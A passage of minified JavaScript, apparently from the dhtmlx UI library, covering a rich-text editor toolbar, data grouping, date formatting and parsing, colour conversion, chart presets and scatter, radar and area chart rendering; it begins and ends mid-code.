e=document.createElement(\"DIV\");e.style.width=\"100%\";e.style.height=\"100%\";e.style.position=\"relative\";e.style.overflow=\"hidden\";this._attachObject(e);if(!(typeof(a)==\"object\"&&a!=null)){a={}}a.parent=e;this.dataType=\"editor\";this.dataObj=new dhtmlXEditor(a);e=null;a.parent=null;a=null;if(typeof(window.dhtmlXPortalCell)!=\"undefined\"&&this instanceof window.dhtmlXPortalCell){if(this.portal.conf.editor_ev==null){var g=this.portal.attachEvent(\"onBeforeDrag\",function(h){if(this.cdata[h].dataType==\"editor\"){this.cdata[h].conf.editor_cont=this.cdata[h].dataObj.getContent()}return true});var c=this.portal.attachEvent(\"onDrop\",function(h){if(this.cdata[h].dataType==\"editor\"){this.cdata[h].dataObj.setContent(this.cdata[h].conf.editor_cont);this.cdata[h].dataObj._prepareContent(true);this.cdata[h].conf.editor_cont=null}});this.portal.conf.editor_ev=[g,c]}this.conf.editor_ev=this.attachEvent(\"_onBeforeContentDetach\",function(){this.detachEvent(this.conf.editor_ev);this.conf.editor_ev=null;if(this instanceof window.dhtmlXPortalCell){var l=false;for(var h in this.portal.cdata){if(this.portal.cdata[h]!=this&&this.portal.cdata[h].dataType==\"editor\"){l=true}}if(l==false){for(var m=0;m<this.portal.conf.editor_ev.length;m++){this.portal.detachEvent(this.portal.conf.editor_ev[m])}this.portal.conf.editor_ev=null}}})}this.callEvent(\"_onContentAttach\",[]);return this.dataObj};dhtmlXEditor.prototype.attachToolbar=function(c){if(this.tb!=null){return}if(c!=null){this.conf.iconsPath=c}this.cell._stbHide();this.tb=this.cell.attachToolbar({icons_path:this.conf.iconsPath+\"/dhxeditor_\"+String(this.conf.skin).replace(/^dhx_/,\"\")+\"/\",skin:this.conf.skin});this.setSizes();this._availFonts=new Array(\"Arial\",\"Arial Narrow\",\"Comic Sans MS\",\"Courier\",\"Georgia\",\"Impact\",\"Tahoma\",\"Times New Roman\",\"Verdana\");this._initFont=this._availFonts[0];this._xmlFonts=\"\";for(var l=0;l<this._availFonts.length;l++){var g=String(this._availFonts[l]).replace(/\\s/g,\"_\");this._xmlFonts+='<item type=\"button\" id=\"applyFontFamily:'+g+'\"><itemText><![CDATA[<img src=\"'+this.tb.imagePath+\"font_\"+String(g).toLowerCase()+'.gif\" border=\"0\" style=\"/*margin-top:1px;margin-bottom:1px;*/width:110px;height:16px;\">]]></itemText></item>'}this._availSizes={\"1\":\"8pt\",\"2\":\"10pt\",\"3\":\"12pt\",\"4\":\"14pt\",\"5\":\"18pt\",\"6\":\"24pt\",\"7\":\"36pt\"};this._xmlSizes=\"\";for(var e in this._availSizes){this._xmlSizes+='<item type=\"button\" id=\"applyFontSize:'+e+\":\"+this._availSizes[e]+'\" text=\"'+this._availSizes[e]+'\"/>'}this.tbXML='<toolbar><item id=\"applyH1\" type=\"buttonTwoState\" img=\"h1.gif\" imgdis=\"h4_dis.gif\" title=\"H1\"/><item id=\"applyH2\" type=\"buttonTwoState\" img=\"h2.gif\" imgdis=\"h4_dis.gif\" title=\"H2\"/><item id=\"applyH3\" type=\"buttonTwoState\" img=\"h3.gif\" imgdis=\"h4_dis.gif\" title=\"H3\"/><item id=\"applyH4\" type=\"buttonTwoState\" img=\"h4.gif\" imgdis=\"h4_dis.gif\" title=\"H4\"/><item id=\"separ01\" type=\"separator\"/><item id=\"applyBold\" type=\"buttonTwoState\" img=\"bold.gif\" imgdis=\"bold_dis.gif\" title=\"Bold Text\"/><item id=\"applyItalic\" type=\"buttonTwoState\" img=\"italic.gif\" imgdis=\"italic_dis.gif\" title=\"Italic Text\"/><item id=\"applyUnderscore\" type=\"buttonTwoState\" img=\"underline.gif\" imgdis=\"underline_dis.gif\" title=\"Underscore Text\"/><item id=\"applyStrikethrough\" type=\"buttonTwoState\" img=\"strike.gif\" imgdis=\"strike_dis.gif\" title=\"Strikethrough Text\"/><item id=\"separ02\" type=\"separator\"/><item id=\"alignLeft\" type=\"buttonTwoState\" img=\"align_left.gif\" imgdis=\"align_left_dis.gif\" title=\"Left Alignment\"/><item id=\"alignCenter\" type=\"buttonTwoState\" img=\"align_center.gif\" imgdis=\"align_center_dis.gif\" title=\"Center Alignment\"/><item id=\"alignRight\" type=\"buttonTwoState\" img=\"align_right.gif\" imgdis=\"align_right_dis.gif\" title=\"Right Alignment\"/><item id=\"alignJustify\" type=\"buttonTwoState\" img=\"align_justify.gif\" title=\"Justified Alignment\"/><item id=\"separ03\" type=\"separator\"/><item id=\"applySub\" type=\"buttonTwoState\" img=\"script_sub.gif\" imgdis=\"script_sub.gif\" title=\"Subscript\"/><item id=\"applySuper\" type=\"buttonTwoState\" img=\"script_super.gif\" imgdis=\"script_super_dis.gif\" title=\"Superscript\"/><item id=\"separ04\" type=\"separator\"/><item id=\"createNumList\" type=\"button\" img=\"list_number.gif\" imgdis=\"list_number_dis.gif\" title=\"Number List\"/><item id=\"createBulList\" type=\"button\" img=\"list_bullet.gif\" imgdis=\"list_bullet_dis.gif\" title=\"Bullet List\"/><item id=\"separ05\" type=\"separator\"/><item id=\"increaseIndent\" type=\"button\" img=\"indent_inc.gif\" imgdis=\"indent_inc_dis.gif\" title=\"Increase Indent\"/><item id=\"decreaseIndent\" type=\"button\" img=\"indent_dec.gif\" imgdis=\"indent_dec_dis.gif\" title=\"Decrease Indent\"/><item id=\"separ06\" type=\"separator\"/><item id=\"clearFormatting\" type=\"button\" img=\"clear.gif\" title=\"Clear Formatting\"/></toolbar>';this.tb.loadStruct(this.tbXML);this._checkAlign=function(a){this.tb.setItemState(\"alignCenter\",false);this.tb.setItemState(\"alignRight\",false);this.tb.setItemState(\"alignJustify\",false);this.tb.setItemState(\"alignLeft\",false);if(a){this.tb.setItemState(a,true)}};this._checkH=function(a){this.tb.setItemState(\"applyH1\",false);this.tb.setItemState(\"applyH2\",false);this.tb.setItemState(\"applyH3\",false);this.tb.setItemState(\"applyH4\",false);if(a){this.tb.setItemState(a,true)}};this._doOnFocusChanged=function(n){if(!n.h1&&!n.h2&&!n.h3&&!n.h4){var a=(String(n.fontWeight).search(/bold/i)!=-1)||(Number(n.fontWeight)>=700);this.tb.setItemState(\"applyBold\",a)}else{this.tb.setItemState(\"applyBold\",false)}var m=\"alignLeft\";if(String(n.textAlign).search(/center/)!=-1){m=\"alignCenter\"}if(String(n.textAlign).search(/right/)!=-1){m=\"alignRight\"}if(String(n.textAlign).search(/justify/)!=-1){m=\"alignJustify\"}this.tb.setItemState(m,true);this._checkAlign(m);this.tb.setItemState(\"applyH1\",n.h1);this.tb.setItemState(\"applyH2\",n.h2);this.tb.setItemState(\"applyH3\",n.h3);this.tb.setItemState(\"applyH4\",n.h4);if(window._KHTMLrv){n.sub=(n.vAlign==\"sub\");n.sup=(n.vAlign==\"super\")}this.tb.setItemState(\"applyItalic\",(n.fontStyle==\"italic\"));this.tb.setItemState(\"applyStrikethrough\",n.del);this.tb.setItemState(\"applySub\",n.sub);this.tb.setItemState(\"applySuper\",n.sup);this.tb.setItemState(\"applyUnderscore\",n.u)};this._doOnToolbarClick=function(m){var a=String(m).split(\":\");if(this[a[0]]!=null){if(typeof(this[a[0]])==\"function\"){this[a[0]](a[1]);this.callEvent(\"onToolbarClick\",[m])}}};this._doOnStateChange=function(m,a){this[m]();switch(m){case\"alignLeft\":case\"alignCenter\":case\"alignRight\":case\"alignJustify\":this._checkAlign(m);break;case\"applyH1\":case\"applyH2\":case\"applyH3\":case\"applyH4\":this._checkH(m);break}this.callEvent(\"onToolbarClick\",[m])};this._doOnBeforeStateChange=function(m,a){if((m==\"alignLeft\"||m==\"alignCenter\"||m==\"alignRight\"||m==\"alignJustify\")&&a==true){return false}return true};var h=this;this.tb.attachEvent(\"onClick\",function(a){h._doOnToolbarClick(a)});this.tb.attachEvent(\"onStateChange\",function(m,a){h._doOnStateChange(m,a)});this.tb.attachEvent(\"onBeforeStateChange\",function(m,a){return h._doOnBeforeStateChange(m,a)});this.applyBold=function(){this._runCommand(\"Bold\")};this.applyItalic=function(){this._runCommand(\"Italic\")};this.applyUnderscore=function(){this._runCommand(\"Underline\")};this.applyStrikethrough=function(){this._runCommand(\"StrikeThrough\")};this.alignLeft=function(){this._runCommand(\"JustifyLeft\")};this.alignRight=function(){this._runCommand(\"JustifyRight\")};this.alignCenter=function(){this._runCommand(\"JustifyCenter\")};this.alignJustify=function(){this._runCommand(\"JustifyFull\")};this.applySub=function(){this._runCommand(\"Subscript\")};this.applySuper=function(){this._runCommand(\"Superscript\")};this.applyH1=function(){this._runCommand(\"FormatBlock\",\"<H1>\")};this.applyH2=function(){this._runCommand(\"FormatBlock\",\"<H2>\")};this.applyH3=function(){this._runCommand(\"FormatBlock\",\"<H3>\")};this.applyH4=function(){this._runCommand(\"FormatBlock\",\"<H4>\")};this.createNumList=function(){this._runCommand(\"InsertOrderedList\")};this.createBulList=function(){this._runCommand(\"InsertUnorderedList\")};this.increaseIndent=function(){this._runCommand(\"Indent\")};this.decreaseIndent=function(){this._runCommand(\"Outdent\")};this.clearFormatting=function(){this._runCommand(\"RemoveFormat\");this.tb.setItemState(\"applyBold\",false);this.tb.setItemState(\"applyItalic\",false);this.tb.setItemState(\"applyStrikethrough\",false);this.tb.setItemState(\"applySub\",false);this.tb.setItemState(\"applySuper\",false);this.tb.setItemState(\"applyUnderscore\",false);var a=this.getContent();a=a.replace(/<\\/?h\\d>/gi,\"\");this.setContent(a)}};dhtmlx.Group={_init:function(){dhtmlx.assert(this.data,\"DataStore required for grouping\");this.data.attachEvent(\"onStoreLoad\",dhtmlx.bind(function(){if(this._settings.group){this.group(this._settings.group,false)}},this));this.attachEvent(\"onBeforeRender\",dhtmlx.bind(function(a){if(this._settings.sort){a.block();a.sort(this._settings.sort);a.unblock()}},this));this.data.attachEvent(\"onClearAll\",dhtmlx.bind(function(){this.data._not_grouped_order=this.data._not_grouped_pull=null},this));this.attachEvent(\"onBeforeSort\",dhtmlx.bind(function(){this._settings.sort=null},this))},_init_group_data_event:function(c,a){c.attachEvent(\"onClearAll\",dhtmlx.bind(function(){this.ungroup(false);this.block();this.clearAll();this.unblock()},a))},sum:function(c,a){c=dhtmlx.Template.setter(c);a=a||this.data;var e=0;a.each(function(g){e+=c(g)*1});return e},min:function(e,c){e=dhtmlx.Template.setter(e);c=c||this.data;var a=Infinity;c.each(function(g){if(e(g)*1<a){a=e(g)*1}});return a*1},max:function(e,c){e=dhtmlx.Template.setter(e);c=c||this.data;var a=-Infinity;c.each(function(g){if(e(g)*1>a){a=e(g)*1}});return a},_split_data_by:function(l){var n=function(r,q){r=dhtmlx.Template.setter(r);return r(q[0])};var o=dhtmlx.Template.setter(l.by);if(!l.map[o]){l.map[o]=[o,n]}var e={};var m=[];this.data.each(function(q){var r=o(q);if(!e[r]){m.push({id:r});e[r]=dhtmlx.toArray()}e[r].push(q)});for(var a in l.map){var h=(l.map[a][1]||n);if(typeof h!=\"function\"){h=this[h]}for(var g=0;g<m.length;g++){m[g][a]=h.call(this,l.map[a][0],e[m[g].id])}}this.data._not_grouped_order=this.data.order;this.data._not_grouped_pull=this.data.pull;this.data.order=dhtmlx.toArray();this.data.pull={};for(var g=0;g<m.length;g++){var c=this.data.id(m[g]);this.data.pull[c]=m[g];this.data.order.push(c)}this.callEvent(\"onStoreUpdated\",[])},group:function(a,c){this.ungroup(false);this._split_data_by(a);if(c!==false){this.data.callEvent(\"onStoreUpdated\",[])}},ungroup:function(a){if(this.data._not_grouped_order){this.data.order=this.data._not_grouped_order;this.data.pull=this.data._not_grouped_pull;this.data._not_grouped_pull=this.data._not_grouped_order=null}if(a!==false){this.data.callEvent(\"onStoreUpdated\",[])}},group_setter:function(a){dhtmlx.assert(typeof a==\"object\",\"Incorrect group value\");dhtmlx.assert(a.by,\"group.by is mandatory\");dhtmlx.assert(a.map,\"group.map is mandatory\");return a},sort_setter:function(a){if(typeof a!=\"object\"){a={by:a}}this._mergeSettings(a,{as:\"string\",dir:\"asc\"});return a}};dhtmlx.Date={Locale:{month_full:[\"January\",\"February\",\"March\",\"April\",\"May\",\"June\",\"July\",\"August\",\"September\",\"October\",\"November\",\"December\"],month_short:[\"Jan\",\"Feb\",\"Mar\",\"Apr\",\"May\",\"Jun\",\"Jul\",\"Aug\",\"Sep\",\"Oct\",\"Nov\",\"Dec\"],day_full:[\"Sunday\",\"Monday\",\"Tuesday\",\"Wednesday\",\"Thursday\",\"Friday\",\"Saturday\"],day_short:[\"Sun\",\"Mon\",\"Tue\",\"Wed\",\"Thu\",\"Fri\",\"Sat\"]},date_part:function(a){a.setHours(0);a.setMinutes(0);a.setSeconds(0);a.setMilliseconds(0);return a},time_part:function(a){return(a.valueOf()/1000-a.getTimezoneOffset()*60)%86400},week_start:function(c){var a=c.getDay();if(this.config.start_on_monday){if(a===0){a=6}else{a--}}return this.date_part(this.add(c,-1*a,\"day\"))},month_start:function(a){a.setDate(1);return this.date_part(a)},year_start:function(a){a.setMonth(0);return this.month_start(a)},day_start:function(a){return this.date_part(a)},add:function(c,e,g){var a=new Date(c.valueOf());switch(g){case\"day\":a.setDate(a.getDate()+e);break;case\"week\":a.setDate(a.getDate()+7*e);break;case\"month\":a.setMonth(a.getMonth()+e);break;case\"year\":a.setYear(a.getFullYear()+e);break;case\"hour\":a.setHours(a.getHours()+e);break;case\"minute\":a.setMinutes(a.getMinutes()+e);break;default:return dhtmlx.Date[\"add_\"+g](c,e,g)}return a},to_fixed:function(a){if(a<10){return\"0\"+a}return a},copy:function(a){return new Date(a.valueOf())},date_to_str:function(c,a){c=c.replace(/%[a-zA-Z]/g,function(e){switch(e){case\"%d\":return'\"+dhtmlx.Date.to_fixed(date.getDate())+\"';case\"%m\":return'\"+dhtmlx.Date.to_fixed((date.getMonth()+1))+\"';case\"%j\":return'\"+date.getDate()+\"';case\"%n\":return'\"+(date.getMonth()+1)+\"';case\"%y\":return'\"+dhtmlx.Date.to_fixed(date.getFullYear()%100)+\"';case\"%Y\":return'\"+date.getFullYear()+\"';case\"%D\":return'\"+dhtmlx.Date.Locale.day_short[date.getDay()]+\"';case\"%l\":return'\"+dhtmlx.Date.Locale.day_full[date.getDay()]+\"';case\"%M\":return'\"+dhtmlx.Date.Locale.month_short[date.getMonth()]+\"';case\"%F\":return'\"+dhtmlx.Date.Locale.month_full[date.getMonth()]+\"';case\"%h\":return'\"+dhtmlx.Date.to_fixed((date.getHours()+11)%12+1)+\"';case\"%g\":return'\"+((date.getHours()+11)%12+1)+\"';case\"%G\":return'\"+date.getHours()+\"';case\"%H\":return'\"+dhtmlx.Date.to_fixed(date.getHours())+\"';case\"%i\":return'\"+dhtmlx.Date.to_fixed(date.getMinutes())+\"';case\"%a\":return'\"+(date.getHours()>11?\"pm\":\"am\")+\"';case\"%A\":return'\"+(date.getHours()>11?\"PM\":\"AM\")+\"';case\"%s\":return'\"+dhtmlx.Date.to_fixed(date.getSeconds())+\"';case\"%W\":return'\"+dhtmlx.Date.to_fixed(dhtmlx.Date.getISOWeek(date))+\"';default:return e}});if(a){c=c.replace(/date\\.get/g,\"date.getUTC\")}return new Function(\"date\",'return \"'+c+'\";')},str_to_date:function(h,e){var l=\"var temp=date.split(/[^0-9a-zA-Z]+/g);\";var a=h.match(/%[a-zA-Z]/g);for(var c=0;c<a.length;c++){switch(a[c]){case\"%j\":case\"%d\":l+=\"set[2]=temp[\"+c+\"]||1;\";break;case\"%n\":case\"%m\":l+=\"set[1]=(temp[\"+c+\"]||1)-1;\";break;case\"%y\":l+=\"set[0]=temp[\"+c+\"]*1+(temp[\"+c+\"]>50?1900:2000);\";break;case\"%g\":case\"%G\":case\"%h\":case\"%H\":l+=\"set[3]=temp[\"+c+\"]||0;\";break;case\"%i\":l+=\"set[4]=temp[\"+c+\"]||0;\";break;case\"%Y\":l+=\"set[0]=temp[\"+c+\"]||0;\";break;case\"%a\":case\"%A\":l+=\"set[3]=set[3]%12+((temp[\"+c+\"]||'').toLowerCase()=='am'?0:12);\";break;case\"%s\":l+=\"set[5]=temp[\"+c+\"]||0;\";break}}var g=\"set[0],set[1],set[2],set[3],set[4],set[5]\";if(e){g=\" Date.UTC(\"+g+\")\"}return new Function(\"date\",\"var set=[0,0,1,0,0,0]; \"+l+\" return new Date(\"+g+\");\")},getISOWeek:function(e){if(!e){return false}var c=e.getDay();if(c===0){c=7}var g=new Date(e.valueOf());g.setDate(e.getDate()+(4-c));var a=g.getFullYear();var l=Math.floor((g.getTime()-new Date(a,0,1).getTime())/86400000);var h=1+Math.floor(l/7);return h},getUTCISOWeek:function(a){return this.getISOWeek(a)}};dhtmlx.math={};dhtmlx.math._toHex=[\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\"];dhtmlx.math.toHex=function(c,a){c=parseInt(c,10);str=\"\";while(c>0){str=this._toHex[c%16]+str;c=Math.floor(c/16)}while(str.length<a){str=\"0\"+str}return str};dhtmlx.math.hexToDec=function(a){return parseInt(a,16)};dhtmlx.math.toRgb=function(c){var h,e,a,l;if(typeof(c)!=\"string\"){h=c[0];e=c[1];a=c[2]}else{if(c.indexOf(\"rgb\")!=-1){l=c.substr(c.indexOf(\"(\")+1,c.lastIndexOf(\")\")-c.indexOf(\"(\")-1).split(\",\");h=l[0];e=l[1];a=l[2]}else{if(c.substr(0,1)==\"#\"){c=c.substr(1)}h=this.hexToDec(c.substr(0,2));e=this.hexToDec(c.substr(2,2));a=this.hexToDec(c.substr(4,2))}}h=(parseInt(h,10)||0);e=(parseInt(e,10)||0);a=(parseInt(a,10)||0);if(h<0||h>255){h=0}if(e<0||e>255){e=0}if(a<0||a>255){a=0}return[h,e,a]};dhtmlx.math.hsvToRgb=function(m,y,w){var l,o,e,c,x,a,n,u;l=Math.floor((m/60))%6;o=m/60-l;e=w*(1-y);c=w*(1-o*y);x=w*(1-(1-o)*y);a=0;n=0;u=0;switch(l){case 0:a=w;n=x;u=e;break;case 1:a=c;n=w;u=e;break;case 2:a=e;n=w;u=x;break;case 3:a=e;n=c;u=w;break;case 4:a=x;n=e;u=w;break;case 5:a=w;n=e;u=c;break}a=Math.floor(a*255);n=Math.floor(n*255);u=Math.floor(u*255);return[a,n,u]};dhtmlx.math.rgbToHsv=function(c,n,o){var l,e,q,a,u,x,m,w;l=c/255;e=n/255;q=o/255;var a=Math.min(l,e,q);var u=Math.max(l,e,q);m=0;x=u==0?0:(1-a/u);w=u;if(u==a){m=0}else{if(u==l&&e>=q){m=60*(e-q)/(u-a)+0}else{if(u==l&&e<q){m=60*(e-q)/(u-a)+360}else{if(u==e){m=60*(q-l)/(u-a)+120}else{if(u==q){m=60*(l-e)/(u-a)+240}}}}}return[m,x,w]};if(!dhtmlx.presets){dhtmlx.presets={}}dhtmlx.presets.chart={simple:{item:{borderColor:\"#ffffff\",color:\"#2b7100\",shadow:false,borderWidth:2},line:{color:\"#8ecf03\",width:2}},plot:{color:\"#1293f8\",item:{borderColor:\"#636363\",borderWidth:1,color:\"#ffffff\",type:\"r\",shadow:false},line:{color:\"#1293f8\",width:2}},diamond:{color:\"#b64040\",item:{borderColor:\"#b64040\",color:\"#b64040\",type:\"d\",radius:3,shadow:true},line:{color:\"#ff9000\",width:2}},point:{color:\"#fe5916\",disableLines:true,fill:false,disableItems:false,item:{color:\"#feb916\",borderColor:\"#fe5916\",radius:2,borderWidth:1,type:\"r\"},alpha:1},line:{line:{color:\"#3399ff\",width:2},item:{color:\"#ffffff\",borderColor:\"#3399ff\",radius:2,borderWidth:2,type:\"d\"},fill:false,disableItems:false,disableLines:false,alpha:1},area:{fill:\"#3399ff\",line:{color:\"#3399ff\",width:1},disableItems:true,alpha:0.2,disableLines:false},round:{item:{radius:3,borderColor:\"#3f83ff\",borderWidth:1,color:\"#3f83ff\",type:\"r\",shadow:false,alpha:0.6}},square:{item:{radius:3,borderColor:\"#447900\",borderWidth:2,color:\"#69ba00\",type:\"s\",shadow:false,alpha:1}},column:{color:\"RAINBOW\",gradient:false,width:45,radius:0,alpha:1,border:true},stick:{width:5,gradient:false,color:\"#67b5c9\",radius:2,alpha:1,border:false},alpha:{color:\"#b9a8f9\",width:70,gradient:\"falling\",radius:0,alpha:0.5,border:true}};dhtmlx.ui.Map=function(a){this.name=\"Map\";this._id=\"map_\"+dhtmlx.uid();this._key=a;this._map=[]};dhtmlx.ui.Map.prototype={addRect:function(e,c,a){this._createMapArea(e,\"RECT\",c,a)},addPoly:function(e,c,a){this._createMapArea(e,\"POLY\",c,a)},_createMapArea:function(h,c,g,e){var a=\"\";if(arguments.length==4){a=\"userdata='\"+e+\"'\"}this._map.push(\"<area \"+this._key+\"='\"+h+\"' shape='\"+c+\"' coords='\"+g.join()+\"' \"+a+\"></area>\")},addSector:function(a,q,o,m,h,e,g,l){var n=[];n.push(m);n.push(Math.floor(h*g));for(var c=q;c<o;c+=Math.PI/18){n.push(Math.floor(m+e*Math.cos(c)));n.push(Math.floor((h+e*Math.sin(c))*g))}n.push(Math.floor(m+e*Math.cos(o)));n.push(Math.floor((h+e*Math.sin(o))*g));n.push(m);n.push(Math.floor(h*g));return this.addPoly(a,n,l)},render:function(a){var e=dhtmlx.html.create(\"DIV\");e.style.cssText=\"position:absolute; width:100%; height:100%; top:0px; left:0px;\";a.appendChild(e);var c=dhtmlx._isIE?\"\":\"src='data:image/gif;base64,R0lGODlhEgASAIAAAP///////yH5BAUUAAEALAAAAAASABIAAAIPjI+py+0Po5y02ouz3pwXADs='\";e.innerHTML=\"<map id='\"+this._id+\"' name='\"+this._id+\"'>\"+this._map.join(\"\\n\")+\"</map><img \"+c+\" class='dhx_map_img' usemap='#\"+this._id+\"' onmousedown='return false;'>\";a._htmlmap=e;this._map=[]}};dhtmlx.chart={};dhtmlx.chart.scatter={pvt_render_scatter:function(q,l,o,n,m,a){if(!this._settings.xValue){return dhtmlx.log(\"warning\",\"Undefined propery: xValue\")}var e=this._getLimits();var h=this._getLimits(\"h\",\"xValue\");if(!m){if(!this.canvases.x){this.canvases.x=new dhtmlx.ui.Canvas(this._obj,\"axis_x\")}if(!this.canvases.y){this.canvases.y=new dhtmlx.ui.Canvas(this._obj,\"axis_y\")}this._drawYAxis(this.canvases.y.getCanvas(),l,o,n,e.min,e.max);this._drawHXAxis(this.canvases.x.getCanvas(),l,o,n,h.min,h.max)}e={min:this._settings.yAxis.start,max:this._settings.yAxis.end};h={min:this._settings.xAxis.start,max:this._settings.xAxis.end};var c=this._getScatterParams(q,l,o,n,h,e);this._mapStart=o;for(var g=0;g<l.length;g++){this._drawScatterItem(q,a,o,n,c,h,e,l[g],m)}},_getScatterParams:function(a,g,e,c,m,l){var h={};h.totalHeight=c.y-e.y;h.totalWidth=c.x-e.x;this._calcScatterUnit(h,m.min,m.max,h.totalWidth,\"X\");this._calcScatterUnit(h,l.min,l.max,h.totalHeight,\"Y\");return h},_drawScatterItem:function(r,a,o,n,e,h,g,l,m){var c=this._calculateScatterItemPosition(e,n,o,h,l,\"X\");var q=this._calculateScatterItemPosition(e,o,n,g,l,\"Y\");this._drawItem(r,c,q,l,this._settings.label.call(this,l),m,a)},_calculateScatterItemPosition:function(e,n,m,a,h,c){var q=this._settings[c==\"X\"?\"xValue\":\"value\"].call(this,h);var g=e[\"valueFactor\"+c];var r=(parseFloat(q||0)-a.min)*g;var o=e[\"unit\"+c];var l=m[c.toLowerCase()]-(c==\"X\"?(-1):1)*Math.floor(o*r);if(r<0){l=m[c.toLowerCase()]}if(q>a.max){l=n[c.toLowerCase()]}if(q<a.min){l=m[c.toLowerCase()]}return l},_calcScatterUnit:function(l,e,a,c,g){var h=this._getRelativeValue(e,a);g=(g||\"\");l[\"relValue\"+g]=h[0];l[\"valueFactor\"+g]=h[1];l[\"unit\"+g]=(l[\"relValue\"+g]?c/l[\"relValue\"+g]:10)}};dhtmlx.chart.radar={pvt_render_radar:function(c,g,a,l,e,h){this._renderRadarChart(c,g,a,l,e,h)},_renderRadarChart:function(u,h,r,q,o,a){if(!h.length){return}var m=this._getPieParameters(r,q);var n=(this._settings.radius?this._settings.radius:m.radius);var c=(this._settings.x?this._settings.x:m.x);var s=(this._settings.y?this._settings.y:m.y);var e=[];for(var g=0;g<h.length;g++){e.push(1)}var l=this._getRatios(e,h.length);this._mapStart=r;if(!o){this._drawRadarAxises(l,c,s,n,h)}this._drawRadarData(u,l,c,s,n,h,o,a)},_drawRadarData:function(C,s,n,m,h,N,D,M){var A,v,L,J,E,I,g,e,F,K,H,u,c,w,q,o,a,r,l;L=this._settings;E=L.yAxis.start;I=L.yAxis.end;l=this._getRelativeValue(E,I);u=l[0];r=(u?h/u:h/2);a=l[1];c=-Math.PI/2;A=v=c;F=[];e=0;for(J=0;J<N.length;J++){if(!o){w=L.value(N[J]);q=(parseFloat(w||0)-E)*a}else{q=o}K=Math.floor(r*q);w=L.value((J!=(N.length-1))?N[J+1]:N[0]);o=(parseFloat(w||0)-E)*a;H=Math.floor(r*o);A=v;v=((J!=(N.length-1))?(c+s[J]-0.0001):c);g=(e||this._getPositionByAngle(A,n,m,K));e=this._getPositionByAngle(v,n,m,H);F.push(g)}if(L.fill){this._fillRadarChart(C,F,N)}if(!L.disableLines){this._strokeRadarChart(C,F,N)}if(!L.disableItems){this._drawRadarItemMarkers(C,F,N,D,M)}F=null},_drawRadarItemMarkers:function(a,e,h,g,l){for(var c=0;c<e.length;c++){this._drawItem(a,e[c].x,e[c].y,h[c],this._settings.label.call(this,h),g,l)}},_fillRadarChart:function(a,g,l){var h,e;a.globalAlpha=this._settings.alpha.call(this,{});a.beginPath();for(var c=0;c<g.length;c++){a.fillStyle=this._settings.fill.call(this,l[c]);h=g[c];e=(g[c+1]||g[0]);if(!c){a.moveTo(h.x,h.y)}a.lineTo(e.x,e.y)}a.fill();a.globalAlpha=1},_strokeRadarChart:function(a,g,l){var h,e;for(var c=0;c<g.length;c++){h=g[c];e=(g[c+1]||g[0]);this._drawLine(a,h.x,h.y,e.x,e.y,this._settings.line.color.call(this,l[c]),this._settings.line.width)}},_drawRadarAxises:function(A,v,u,m,O){var a=this._settings.yAxis;var g=this._settings.xAxis;var n=a.start;var l=a.end;var q=a.step;var C={};var N=this._configYAxis;if(typeof N.step==\"undefined\"||typeof N.start==\"undefined\"||typeof N.end==\"undefined\"){var r=this._getLimits();C=this._calculateScale(r.min,r.max);n=C.start;l=C.end;q=C.step;a.end=l;a.start=n}var I=[];var L,K,D;var M=0;var e=m*q/(l-n);var s,w;if(q<1){s=Math.min(this._log10(q),(n<=0?0:this._log10(n)));w=Math.pow(10,-s)}var J=[];if(!this.canvases.scale){this.canvases.scale=new dhtmlx.ui.Canvas(this._obj,\"radar_scale\")}var H=this.canvases.scale.getCanvas();for(L=l;L>=n;L-=q){if(C.fixNum){L=parseFloat((new Number(L)).toFixed(C.fixNum))}I.push(Math.floor(M*e)+0.5);if(w){L=Math.round(L*w)/w}var o=u-m+I[I.length-1];this.canvases.scale.renderTextAt(\"middle\",\"left\",v,o,a.template(L.toString()),\"dhx_axis_item_y dhx_radar\");if(A.length<2){this._drawScaleSector(H,\"arc\",v,u,m-I[I.length-1],-Math.PI/2,3*Math.PI/2,L);return}var h=-Math.PI/2;var F=h;var E;for(K=0;K<A.length;K++){if(L==l){J.push(F)}E=h+A[K]-0.0001;this._drawScaleSector(H,(N.lineShape||\"line\"),v,u,m-I[I.length-1],F,E,L,K,O[L]);F=E}M++}for(L=0;L<J.length;L++){D=this._getPositionByAngle(J[L],v,u,m);if(g.lines.call(this,O[L],L)){this._drawLine(H,v,u,D.x,D.y,(g?g.lineColor.call(this,O[L]):\"#cfcfcf\"),1)}this._drawRadarScaleLabel(H,v,u,m,J[L],(g?g.template.call(this,O[L]):\"&nbsp;\"))}},_drawScaleSector:function(s,l,r,o,h,c,a,g,e){var q,n;if(h<0){return false}q=this._getPositionByAngle(c,r,o,h);n=this._getPositionByAngle(a,r,o,h);var m=this._settings.yAxis;if(m.bg){s.beginPath();s.moveTo(r,o);if(l==\"arc\"){s.arc(r,o,h,c,a,false)}else{s.lineTo(q.x,q.y);s.lineTo(n.x,n.y)}s.fillStyle=m.bg(g,e);s.moveTo(r,o);s.fill();s.closePath()}if(m.lines.call(this,g)){s.lineWidth=1;s.beginPath();if(l==\"arc\"){s.arc(r,o,h,c,a,false)}else{s.moveTo(q.x,q.y);s.lineTo(n.x,n.y)}s.strokeStyle=m.lineColor.call(this,g);s.stroke()}},_drawRadarScaleLabel:function(w,o,m,c,n,u){var v=this.canvases.scale.renderText(0,0,u,\"dhx_axis_radar_title\",1);var e=v.scrollWidth;var s=v.offsetHeight;var q=0.001;var l=this._getPositionByAngle(n,o,m,c+5);var h=0,g=0;if(n<0||n>Math.PI){g=-s}if(n>Math.PI/2){h=-e}if(Math.abs(n+Math.PI/2)<q||Math.abs(n-Math.PI/2)<q){h=-e/2}else{if(Math.abs(n)<q||Math.abs(n-Math.PI)<q){g=-s/2}}v.style.top=l.y+g+\"px\";v.style.left=l.x+h+\"px\";v.style.width=e+\"px\";v.style.whiteSpace=\"nowrap\"}};dhtmlx.chart.area={pvt_render_area:function(n,E,h,g,o,A){var r,y,s,q,l,x,m,D,C,w,v,c,u,a,e;x=this._calculateLineParams(n,E,h,g,o);y=this._settings;q=(y.eventRadius||Math.floor(x.cellWidth/2));if(E.length){m=[];w=(!y.offset?h.x:h.x+x.cellWidth*0.5);for(s=0;s<E.length;s++){l=E[s];C=this._getPointY(l,h,g,x);u=w+x.cellWidth*s;if(C){a=(typeof C==\"object\"?C.y0:C);if(s&&this._settings.fixOverflow){D=this._getPointY(E[s-1],h,g,x);if(D.out&&D.out==C.out){continue}v=x.cellWidth*(s-1)-0.5+w;c=(typeof 